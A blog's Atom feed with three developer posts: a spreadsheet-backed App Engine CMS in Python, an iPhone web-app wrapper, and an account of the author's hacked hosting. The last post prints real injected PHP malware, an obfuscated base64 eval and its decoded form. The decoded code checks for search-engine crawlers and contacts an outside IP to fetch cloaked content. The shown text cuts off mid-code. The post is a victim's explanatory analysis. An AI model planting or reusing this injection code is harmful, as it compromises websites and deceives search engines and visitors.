<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1448957856353524954</id><updated>2024-08-28T00:29:55.374-07:00</updated><category term=".net"/><category term="c#"/><category term="WPF"/><category term="web"/><category term="xaml"/><category term="app"/><category term="javascript"/><category term="3D"/><category term="Linq"/><category term="algorithm"/><category term="dojo"/><category term="gae"/><category term="graphics"/><category term="iphone"/><category term="php"/><category term="python"/><category term="ruby"/><title type='text'>catch 22 - Andreas Kahler&#39;s blog</title><subtitle type='html'>/* Quasi-random notes by a software developer */ }</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.andreaskahler.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>14</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-6725865104284464061</id><published>2010-03-09T08:19:00.001-08:00</published><updated>2010-03-11T01:14:21.320-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="app"/><category scheme="http://www.blogger.com/atom/ns#" term="gae"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="web"/><title type='text'>Google AppEngine + Google Docs + Some Python = Simple CMS</title><content type='html'>I was looking for a CMS that could run on the Google App Engine lately. As the free quotas are pretty high, a GAE powered CMS would make sense for small personal web pages that do not get too much traffic and have to run on a tiny budget. There are some CMSes (e.g. the &lt;a href=&quot;http://code.google.com/p/app-engine-site-creator/&quot;&gt;App Engine Site&lt;/a&gt;&lt;a href=&quot;http://code.google.com/p/app-engine-site-creator/&quot;&gt; Creator&lt;/a&gt;) but I didn&#39;t like them a lot. They are either too restricted or don&#39;t seem to have a large user base which makes their future uncertain. Also, as the GAE datastore is not a standard database, you have additional issues: How to backup? Possibility to migrate to another host? How to import or export of data?&lt;br /&gt;My search ended without having found something I really liked...&lt;br /&gt;&lt;br /&gt;But while searching, I had an idea: Why not just use a spreadsheet hosted on Google Docs as the base for a CMS? It has a couple of advantages:&lt;ul&gt;&lt;li&gt;Simple, everybody knows how to use a spreadsheet application&lt;/li&gt;&lt;li&gt;you get an online editor for free&lt;/li&gt;&lt;li&gt;Google Docs does versioning, so it&#39;s easy to roll back changes&lt;/li&gt;&lt;li&gt;Backup/restore and import/export is simple&lt;/li&gt;&lt;/ul&gt;The GAE app would only need to pull the data from the spreadsheet, apply some post-processing and output it. Not really much for the app to do, so I decided to write a little prove-of-concept application. I was using the following ingredients&lt;ul&gt;&lt;li&gt;Google App Engine SDK for Python &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/gdata-python-client/&quot;&gt;gdata-python-client&lt;/a&gt;, the Python version of the &lt;a href=&quot;http://code.google.com/apis/gdata/index.html&quot;&gt;Google Data API&lt;/a&gt; to access the spreadsheet&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.makotemplates.org/&quot;&gt;Mako&lt;/a&gt;, a templating system for Python&lt;/li&gt;&lt;li&gt;and some code to glue these together&lt;/li&gt;&lt;/ul&gt;The app expects 2 tables to be present in the spreadsheet: &lt;span style=&quot;font-style: italic;&quot;&gt;pages &lt;/span&gt;and &lt;span style=&quot;font-style: italic;&quot;&gt;templates&lt;/span&gt;. Both need a &lt;span style=&quot;font-style: italic;&quot;&gt;content &lt;/span&gt;column, the &lt;span style=&quot;font-style: italic;&quot;&gt;templates &lt;/span&gt;table also needs a &lt;span style=&quot;font-style: italic;&quot;&gt;name &lt;/span&gt;column. That&#39;s it. It could look like this:&lt;br /&gt;&lt;br /&gt;templates:&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHqo3yX8AZE1UaaGaBgKXQb-2cUz_Pvg208S8igdEeLxV8wBjA87cvSVvOxdpDAibHrcNKlKKFdLQsjX2iL5BriYl8otSmjjSA9fg1wXBxMyTZm8htOnpvD2E3LXnKJUMBpeIIq23TG5A/s1600-h/templates.png&quot;&gt;&lt;img style=&quot;cursor: pointer; width: 400px; height: 226px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHqo3yX8AZE1UaaGaBgKXQb-2cUz_Pvg208S8igdEeLxV8wBjA87cvSVvOxdpDAibHrcNKlKKFdLQsjX2iL5BriYl8otSmjjSA9fg1wXBxMyTZm8htOnpvD2E3LXnKJUMBpeIIq23TG5A/s400/templates.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5446682750369031138&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;pages:&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHOb04_dq103uVMiIb9qIQ-J1Udd1UVUwhkCHiyHj3NnJQ7Zt0XEKwQbdyIsDyJdA2kdQKa3XxEIKbKlWfZlNfevHSaWnt_YR0XkJrvY0h5Gqcw6LsNmmYrouPQfWWy12Bx3wtQJNg3LM/s1600-h/pages.png&quot;&gt;&lt;img style=&quot;cursor: pointer; width: 400px; height: 131px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHOb04_dq103uVMiIb9qIQ-J1Udd1UVUwhkCHiyHj3NnJQ7Zt0XEKwQbdyIsDyJdA2kdQKa3XxEIKbKlWfZlNfevHSaWnt_YR0XkJrvY0h5Gqcw6LsNmmYrouPQfWWy12Bx3wtQJNg3LM/s400/pages.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5446679958448950034&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;There are 2 templates defined, &lt;span style=&quot;font-style: italic;&quot;&gt;main &lt;/span&gt;and &lt;span style=&quot;font-style: italic;&quot;&gt;defs&lt;/span&gt;. The template &lt;span style=&quot;font-style: italic;&quot;&gt;main &lt;/span&gt;is the base template for the html output, &lt;span style=&quot;font-style: italic;&quot;&gt;defs &lt;/span&gt;holds some Mako style methods (more on whose later).&lt;br /&gt;&lt;br /&gt;The pages table holds 3 pages. The first one is used as the root document, the others can be got via http://&amp;lt;host&amp;gt;/page/&amp;lt;id&amp;gt;. The content is treated as a Mako template, references to other templates are resolved by looking up the name in the &lt;span style=&quot;font-style: italic;&quot;&gt;templates &lt;/span&gt;table. Therefore the first two lines load methods from the &lt;i&gt;defs&lt;/i&gt; template and make the page inherit from &lt;i&gt;main&lt;/i&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: plain&quot;&gt;&lt;br /&gt;&amp;lt;%namespace import=&quot;*&quot; file=&quot;defs&quot; /&amp;gt;&lt;br /&gt;&amp;lt;%inherit file=&quot;main&quot;/&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The page content invokes 2 methods, &lt;i&gt;image()&lt;/i&gt; and &lt;i&gt;page()&lt;/i&gt;. The methods make use of global objects that are injected into the global Mako template context:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;pageid&lt;/i&gt;, which is the id of the page currently rendered&lt;/li&gt;&lt;li&gt;&lt;i&gt;page&lt;/i&gt;, representing the current page row, a dict with the column names as keys&lt;/li&gt;&lt;li&gt;&lt;i&gt;db&lt;/i&gt;, the Database object. Row objects can be retrieved like this:&lt;br/&gt; db.&amp;lt;table&amp;gt;[&amp;lt;row_no&amp;gt;][&#39;&amp;lt;col_name&amp;gt;&#39;]&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Using the &lt;i&gt;db&lt;/i&gt; object any table of the spreadsheet can be accessed. This way the system can be extended in a really easy way. In out little example this is used for the &lt;i&gt;image()&lt;/i&gt; method. References to images are stored in a table called &lt;i&gt;images&lt;/i&gt; and are referenced by an id:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI9Xn3USa1QN8n1iiTtXBJgVAU2RKhjBv_i1Q3iaLLDupitGhcbImINJK2fIikwdPIrhbTeBwdT2D-3cAYBTqPRozL-qUDcyGIvT_CNk3QW6xPSrn-ZfDMYMA-euqTIxKwqHHs6H4FYaY/s1600-h/images.png&quot;&gt;&lt;img style=&quot;cursor:pointer; cursor:hand;width: 339px; height: 90px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI9Xn3USa1QN8n1iiTtXBJgVAU2RKhjBv_i1Q3iaLLDupitGhcbImINJK2fIikwdPIrhbTeBwdT2D-3cAYBTqPRozL-qUDcyGIvT_CNk3QW6xPSrn-ZfDMYMA-euqTIxKwqHHs6H4FYaY/s400/images.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5446697459262933154&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: plain&quot;&gt;&lt;br /&gt;&amp;lt;%def name=&quot;image(id)&quot;&amp;gt;&lt;br /&gt;  &amp;lt;img src=&quot;${db.images[id][&#39;url&#39;]}&quot; alt=&quot;&quot;/&amp;gt;&lt;br /&gt;&amp;lt;/%def&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;When rendering the root url, this now results in:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: plain&quot;&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Welcome!&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;h1&amp;gt;Welcome!&amp;lt;/h1&amp;gt; &lt;br /&gt;&amp;lt;p&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;p&amp;gt;Some text&amp;lt;/p&amp;gt;&lt;br /&gt;    &amp;lt;img src=&amp;quot;http://www.andreaskahler.com/me.png&amp;quot; alt=&amp;quot;&amp;quot;/&amp;gt;&lt;br /&gt;&amp;lt;br/&amp;gt;&lt;br /&gt;&amp;lt;a href=&amp;quot;page/2&amp;quot;&amp;gt;link to page 2&amp;lt;/a&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/p&amp;gt;&lt;br /&gt;this is the footer&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Not really a useful page, but you get the idea.&lt;br /&gt;&lt;br /&gt;The python code for the whole thing looks like this:&lt;br /&gt;&lt;pre class=&quot;brush: python&quot;&gt;&lt;br /&gt;#!/usr/bin/env python&lt;br /&gt;&lt;br /&gt;import sys&lt;br /&gt;import logging&lt;br /&gt;import cgi&lt;br /&gt;from google.appengine.ext import webapp&lt;br /&gt;from google.appengine.ext.webapp import util&lt;br /&gt;import gdata.spreadsheet.text_db&lt;br /&gt;&lt;br /&gt;from mako.template import Template&lt;br /&gt;from mako.lookup import TemplateLookup&lt;br /&gt;from mako.runtime import Context&lt;br /&gt;from StringIO import StringIO&lt;br /&gt;&lt;br /&gt;email = &#39;your.google.account@gmail.com&#39;&lt;br /&gt;password = &#39;yourpasswd&#39;&lt;br /&gt;spreadsheet = &#39;spreadcms&#39; #name of spreadsheet&lt;br /&gt;table_pages = &#39;pages&#39;&lt;br /&gt;table_templates = &#39;templates&#39;&lt;br /&gt;col_name = &#39;name&#39;&lt;br /&gt;col_content = &#39;content&#39;&lt;br /&gt;&lt;br /&gt;class Db:&lt;br /&gt;  &amp;quot;&amp;quot;&amp;quot; wrapper for the spreadsheet. places the tables into its __dict__ &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;  def __init__(self):&lt;br /&gt;    self.client = gdata.spreadsheet.text_db.DatabaseClient(username=email, password=password)&lt;br /&gt;    self.db = self.client.GetDatabases(name=spreadsheet)[0]&lt;br /&gt;    for table in self.db.GetTables():&lt;br /&gt;      name = table.entry.title.text&lt;br /&gt;      self.__dict__[name] = Table(self, name)&lt;br /&gt;  &lt;br /&gt;  def getTableRecord(self, table, row_no):&lt;br /&gt;    return self.db.GetTables(name=table)[0].GetRecord(row_number=row_no).content&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;class Table: &lt;br /&gt;  &amp;quot;&amp;quot;&amp;quot; wraps a spreadsheet table. access rows with their index (starting with 1) &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;  def __init__(self, db, table):  &lt;br /&gt;    self.db = db&lt;br /&gt;    self.table = table&lt;br /&gt;    &lt;br /&gt;  def __getitem__(self, index):&lt;br /&gt;    return self.db.getTableRecord(self.table, index)&lt;br /&gt;      &lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;class MainHandler(webapp.RequestHandler):&lt;br /&gt;  &amp;quot;&amp;quot;&amp;quot; the main web request handler &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;  def connect(self):&lt;br /&gt;    try:&lt;br /&gt;      self.db = Db()&lt;br /&gt;    except gdata.spreadsheet.text_db.Error, err:&lt;br /&gt;      self.response.out.write(err)&lt;br /&gt;      return False&lt;br /&gt;    return True      &lt;br /&gt;  &lt;br /&gt;  def get(self):        &lt;br /&gt;    if not self.connect():&lt;br /&gt;      return&lt;br /&gt;&lt;br /&gt;    # get page id, default to 1&lt;br /&gt;    pageid = 1    &lt;br /&gt;    parts = self.request.path.strip(&#39;/&#39;).split(&#39;/&#39;)&lt;br /&gt;    if len(parts)==2 and parts[0]==&amp;quot;page&amp;quot;:&lt;br /&gt;      try: pageid = int(parts[1]) &lt;br /&gt;      except ValueError: pass&lt;br /&gt;&lt;br /&gt;    page = self.db.__dict__[table_pages][pageid] &lt;br /&gt;&lt;br /&gt;    mylookup = TemplateLookup(filesystem_checks=False)&lt;br /&gt;    &lt;br /&gt;    #load all templates&lt;br /&gt;    i = 1&lt;br /&gt;    while True:&lt;br /&gt;      try:    &lt;br /&gt;        template = self.db.__dict__[table_templates][i]&lt;br /&gt;        mylookup.put_template(template[col_name], Template(template[col_content], lookup=mylookup))&lt;br /&gt;      except:&lt;br /&gt;        break&lt;br /&gt;      i+=1&lt;br /&gt;        &lt;br /&gt;    content = page[col_content] or &amp;quot;&amp;quot;&lt;br /&gt;    &lt;br /&gt;    # invoke Mako&lt;br /&gt;    try:&lt;br /&gt;      t = Template(content, lookup=mylookup)&lt;br /&gt;      mylookup.put_template(&amp;quot;_page&amp;quot;+str(pageid), t)&lt;br /&gt;      s = t.render(page=page, pageid=pageid, db=self.db)&lt;br /&gt;      self.response.out.write(s)&lt;br /&gt;    except Exception,e:  &lt;br /&gt;      s = &amp;quot;&amp;lt;h1&amp;gt;Error&amp;lt;/h1&amp;gt;&amp;quot;&lt;br /&gt;      s += &amp;quot;&amp;lt;pre&amp;gt;&amp;quot; + cgi.escape(str(e)) + &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;&lt;br /&gt;      s += &amp;quot;&amp;lt;h1&amp;gt;Page&amp;lt;/h1&amp;gt;&amp;quot;&lt;br /&gt;      s += &amp;quot;&amp;lt;pre&amp;gt;&amp;quot; + cgi.escape(page[col_content]) + &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;&lt;br /&gt;      self.response.out.write(s)&lt;br /&gt;    &lt;br /&gt;  &lt;br /&gt;def main():&lt;br /&gt;  application = webapp.WSGIApplication([(&#39;/&#39;, MainHandler),&lt;br /&gt;                                        (&#39;/page/[0-9]+&#39;, MainHandler)],&lt;br /&gt;                                       debug=True)&lt;br /&gt;  logging.getLogger().setLevel(logging.DEBUG)&lt;br /&gt;  #logging.getLogger().setLevel(logging.WARNING)&lt;br /&gt;  util.run_wsgi_app(application)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if __name__ == &#39;__main__&#39;:&lt;br /&gt;  main()&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Of course this is not production-ready code. A lot of error handling is missing and one needs a proper way to handle the gdata login captcha requests (I guess storing a valid token would work). There is also no caching implemented.&lt;br /&gt;&lt;br /&gt;This of course is not intended to replace a full-blown CMS. But I guess if you would spend some time fixing these things, this could be suitable for small web sites, where all content is more or less static.</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2010/03/google-appengine-google-docs-some.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/6725865104284464061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/6725865104284464061'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2010/03/google-appengine-google-docs-some.html' title='Google AppEngine + Google Docs + Some Python = Simple CMS'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHqo3yX8AZE1UaaGaBgKXQb-2cUz_Pvg208S8igdEeLxV8wBjA87cvSVvOxdpDAibHrcNKlKKFdLQsjX2iL5BriYl8otSmjjSA9fg1wXBxMyTZm8htOnpvD2E3LXnKJUMBpeIIq23TG5A/s72-c/templates.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-4959000445462561358</id><published>2010-02-21T12:34:00.000-08:00</published><updated>2010-03-25T02:53:08.891-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="app"/><category scheme="http://www.blogger.com/atom/ns#" term="iphone"/><category scheme="http://www.blogger.com/atom/ns#" term="javascript"/><category scheme="http://www.blogger.com/atom/ns#" term="web"/><title type='text'>appify: Make Web Apps Look Like iPhone Apps</title><content type='html'>As you probably know, simple web pages can appear as &#39;normal&#39; apps on your iPhone (or iPod touch) when you add them to your home screen using Safari&#39;s &#39;+&#39; menu. With some changes to the web site you can enhance the &#39;app feeling&#39; even further. You can:&lt;ul&gt;&lt;li&gt;Give it a nice icon&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Add a startup screen which appears when clicking the icon on your home screen&lt;/li&gt;&lt;li&gt;Hide the Safari address bar and the menu&lt;/li&gt;&lt;/ul&gt;All the details on what you have to do in your code can be found e.g. &lt;a href=&quot;http://rakaz.nl/2009/09/iphone-webapps-101-getting-safari-out-of-the-way.html&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;And voilà, your web page looks like a normal iPhone app.&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgacDyDjpiDW5lFZI_9g3ZfVcZqw5VTmt1g_uB9NgOKu109Enlq0dw7bj6V6M-gwmdglQGT0dXKEsQoSR8gJGkP8svf72X0drOODCbtkcD5OqXBE0phUF6lWyvQkzC_IoNMQuYe5I3K2oQ/s1600-h/meapp.jpg&quot;&gt;&lt;img style=&quot;cursor: pointer; width: 400px; height: 368px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgacDyDjpiDW5lFZI_9g3ZfVcZqw5VTmt1g_uB9NgOKu109Enlq0dw7bj6V6M-gwmdglQGT0dXKEsQoSR8gJGkP8svf72X0drOODCbtkcD5OqXBE0phUF6lWyvQkzC_IoNMQuYe5I3K2oQ/s400/meapp.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5440811789851731906&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Left: My web page in Mobile Safari&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Right: Same page through appify&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;But what if you cannot change the code (as it might not be your web site)? I wrote a small web app (I called it &#39;appify&#39;) which can do the trick for you. appify adds a new starting page to the web app of your choice, and adds all of the nice features I just listed. And after displaying that starting page, the browser is redirected to the actual web app.&lt;br /&gt;&lt;br /&gt;You can &lt;a href=&quot;http://apps.gagalabs.com/appify&quot;&gt;appify a web app yourself&lt;/a&gt;. Or you simply try it on your iPhone with the &lt;a href=&quot;http://bit.ly/bFFAFs&quot;&gt;appified mobile version of GMail&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMajnUkbMRoX3L4Cmx8JhKo1m3J1OBx-6Lh29lgCgJR0aC-5jn33pd25UkR0Cbp9PUzNmmaBwuqD1hhR6o4ctYd7zuuJvpRvjDIKurUis12Jqk98mjZfpdmNPwLOOqmq9QYhtS9NJoE4A/s1600-h/appify.png&quot;&gt;&lt;img style=&quot;cursor: pointer; width: 400px; height: 193px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMajnUkbMRoX3L4Cmx8JhKo1m3J1OBx-6Lh29lgCgJR0aC-5jn33pd25UkR0Cbp9PUzNmmaBwuqD1hhR6o4ctYd7zuuJvpRvjDIKurUis12Jqk98mjZfpdmNPwLOOqmq9QYhtS9NJoE4A/s400/appify.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5440808259057868306&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Note: All of this is nice but has one drawback: When you click on a link on your appified web page, the iPhone will close the app and open the new page in Safari. This doesn&#39;t happen with AJAX web apps where you do not have &#39;normal&#39; links. So appify might not be too useful for many web pages :-(. But it works great for e.g. GMail.&lt;br /&gt;This does not only affect appify, but all web apps on the iPhone. If you know a way to avoid this, please let me know!&lt;br /&gt;&lt;br /&gt;A small interesting details from the implementation: I have to give the user a chance to save the web site on the iPhone home screen BEFORE I redirect to the actual web app. I found an easy way to do this: In JavaScript you can detect if the app is in standalone mode (i.e. it is fullscreen without the address bar and menu):&lt;br /&gt;&lt;pre class=&quot;brush: javascript&quot;&gt;if (window.navigator.standalone) {&lt;br /&gt;// fullscreen mode&lt;br /&gt;redirect();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So when we are not in fullscreen mode I do not redirect and the user can save the page to the home screen. When coming through the new home screen icon, Safari runs in standalone mode and the script redirects to the actual app.</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2010/02/appify-make-web-apps-look-like-iphone.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/4959000445462561358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/4959000445462561358'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2010/02/appify-make-web-apps-look-like-iphone.html' title='appify: Make Web Apps Look Like iPhone Apps'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgacDyDjpiDW5lFZI_9g3ZfVcZqw5VTmt1g_uB9NgOKu109Enlq0dw7bj6V6M-gwmdglQGT0dXKEsQoSR8gJGkP8svf72X0drOODCbtkcD5OqXBE0phUF6lWyvQkzC_IoNMQuYe5I3K2oQ/s72-c/meapp.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-1072382520514326354</id><published>2009-11-24T00:44:00.000-08:00</published><updated>2009-11-27T00:11:30.974-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="web"/><title type='text'>My media temple hosted web site got hacked</title><content type='html'>Last night my web sites hosted at media temple got hacked. I got an email from them saying that they detected &quot;suspicious activity&quot;. Good that they have something in place that is able to detect that, but this time it was not really necessary since the web sites were malfunctioning so I found out about the issue myself pretty quickly...&lt;br /&gt;&lt;br /&gt;Turned out that all of my index.php and index.html files were changed. Also a .htaccess files was added next to those files (or replaced if there was one before).&lt;br /&gt;There was a piece of code added to the files:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:plain&quot;&gt;&lt;br /&gt;&amp;lt;!--ddgbsre_erd_sdd--&amp;gt;&amp;lt;?php eval(base64_decode(&amp;quot;aWYoc3RyaXBvcygkX1NF&lt;br /&gt;UlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdnb29nbGUnKSBvciBzdHJpcG9zKCRfU0VS&lt;br /&gt;VkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ3lhaG9vJykgb3Igc3RyaXBvcygkX1NFUlZF&lt;br /&gt;UlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtc24nKSBvciBzdHJpcG9zKCRfU0VSVkVSWydI&lt;br /&gt;VFRQX1VTRVJfQUdFTlQnXSwgJ2xpdmUnKSkNCnsNCiAgJHIgPSAnJzsNCiAgaWYoJGY9&lt;br /&gt;QGZzb2Nrb3BlbignOTEuMjA3LjQuMTgnLDgwLCRlLCRlciwxMCkgYW5kIEBmcHV0cygk&lt;br /&gt;ZiwgIkdFVCAvbGlua2l0L2luLnBocD9kb21haW49IiAuIHVybGVuY29kZSgkX1NFUlZF&lt;br /&gt;UlsiU0VSVkVSX05BTUUiXSkgLiAiJnVzZXJhZ2VudD0iIC4gdXJsZW5jb2RlKCRfU0VS&lt;br /&gt;VkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgLiAiIEhUVFAvMS4wXHJcbkhvc3Q6IDkxLjIw&lt;br /&gt;Ny40LjE4XHJcblxyXG4iKSkNCiAgd2hpbGUoICRsID0gZnJlYWQoJGYsIDEwMjQpKSAk&lt;br /&gt;ciAuPSAkbDsNCiAgQGZjbG9zZSgkZik7DQogICRwPXN0cnBvcygkciwiXHJcblxyXG4i&lt;br /&gt;KTsgZWNobyBzdWJzdHIoJHIsJHArNCk7DQp9&amp;quot;));&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;When you base64-decode this you get (indentation by me):&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:plain&quot;&gt;&lt;br /&gt;if(stripos($_SERVER[&#39;HTTP_USER_AGENT&#39;], &#39;google&#39;) or &lt;br /&gt;   stripos($_SERVER[&#39;HTTP_USER_AGENT&#39;], &#39;yahoo&#39;) or &lt;br /&gt;   stripos($_SERVER[&#39;HTTP_USER_AGENT&#39;], &#39;msn&#39;) or &lt;br /&gt;   stripos($_SERVER[&#39;HTTP_USER_AGENT&#39;], &#39;live&#39;))&lt;br /&gt;{&lt;br /&gt;  $r = &#39;&#39;;&lt;br /&gt;  if($f=@fsockopen(&#39;91.207.4.18&#39;,80,$e,$er,10) and &lt;br /&gt;    @fputs($f, &quot;GET /linkit/in.php?domain=&quot; . urlencode($_SERVER[&quot;SERVER_NAME&quot;]) . &lt;br /&gt;        &quot;&amp;useragent=&quot; . urlencode($_SERVER[&#39;HTTP_USER_AGENT&#39;]) .&lt;br /&gt;        &quot; HTTP/1.0\r\nHost: 91.207.4.18\r\n\r\n&quot;))&lt;br /&gt;  while( $l 